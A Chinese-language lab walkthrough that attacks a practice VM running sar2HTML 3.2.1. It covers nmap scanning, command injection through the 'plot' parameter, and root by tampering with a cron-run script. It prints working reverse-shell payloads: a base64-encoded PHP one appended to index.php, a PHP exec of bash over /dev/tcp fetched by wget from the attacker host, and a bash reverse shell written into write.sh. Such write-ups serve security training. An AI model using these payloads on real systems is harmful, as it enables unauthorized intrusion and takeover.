PART.01 靶机设置
将网络配置调整为NAT模式即可
PART.02 Nmap扫描
· 主机发现 ·
sudo nmap -sn 192.168.9.150/24
新增IP为靶机IP:192.168.9.160
· TCP开放端口扫描 ·
sudo nmap -sT –min-rate 10000 -p- 192.168.9.160
只开放了一个80端口
· UDP开放端口扫描 ·
sudo nmap -sU -top 10 192.168.9.160
没信息
· TCP详细信息扫描 ·
sudo nmap -sT -sV -sC -O -p80 192.168.9.160 -oA nmap/detail
linux+apache
其他暂时没啥信息
· vuln漏洞脚本扫描 ·
sudo nmap –script=vuln -p80 192.168.9.160 -oA nmap/vuln
两个文件:/robots.txt
和phpinfo.php
PART.03 Getshell
· 80——简单浏览 ·
界面竟然是这个?!
所以是一个刚建站的网站。
/robots.txt
:
/sar2HTML
:
It will create the report with name sar2html-hostname-date.tar.gz under /tmp
directory.
Click “NEW”button, browse and select the report, click”Upload report”button
to upload the data.
耶,有个文件上传点诶。
继续读,感觉利用有点困难。
福至心灵,用searchsploit搜了一下sar2HTML,猜猜我看到了什么!
version3.2.1,绝配!
· 80——RCE ·
两个都下下来看看
searchsploit-m47204
searchsploit-m49344
利用 方法:http://<ipaddr>/index.php?plot=;<command-here>
**回显: “**os”处会被替换为执行的命令,”Select Host”展开后会发现执行结果
eg:
尝试直接bash反弹shell失败,发现&
符号被过滤了还是啥情况。
尝试使用49344.py现成的利用
利用时发现了一个很搞笑的问题:因为注释在前面,因此#!/usr/bin/env python
实际上并不是第一行,会导致运行错误。
不过还是有报错,懒了。回去吧()
ls -liah
:
尝试在 index.php 中加入php的一句话反弹shell
echo cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE5Mi4xNjguOS4xNTAiLDEyMzQ1KTtleGVjKCIvYmluL3NoIC1pIDwmMyA+JjMgMj4mMyIpOyc= | base64-d >>index.php
啊?
尝试了wget远程下载shell,发现不能附加执行权限,导致下载shell也没用。
尝试wget远程下载php
test.txt
:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.9.150/1234 0>&1'");?>
靶机下载:wget http://192.168.9.150/test.txt -O test.php
kali开启监听:nc -lvnp 1234
然后访问对应地址:http://192.168.9.160/sar2HTML/test.php
PART.04 提权
· 基础信息 ·
· 自动任务提权 ·
第一反应是自动任务提权
(回忆提示:网页上有出现自动任务)
看一下自动任务:
cat /etc/crontab
每五分钟执行以下/var/www/html/finally.sh
可惜没有写的权限。
看眼内容:
诶哦?!我们有write.sh
的所有权限啊。
看眼:
接下来直接篡改,桀桀:bash -c 'bash -i >& /dev/tcp/192.168.9.150/12345 0>&1'
(我中途输错了,然后这靶机vi只能盲操作。所以我操作修改的时候不太精准,导致我倒数第二行即touch所在行变异。但是不影响,不要在意qaq)
然后在本机上开启监听,静静等待——
成功!
(可以通过/tmp/gateway
创建与否来判断./finally.sh
是否执行)
拿下!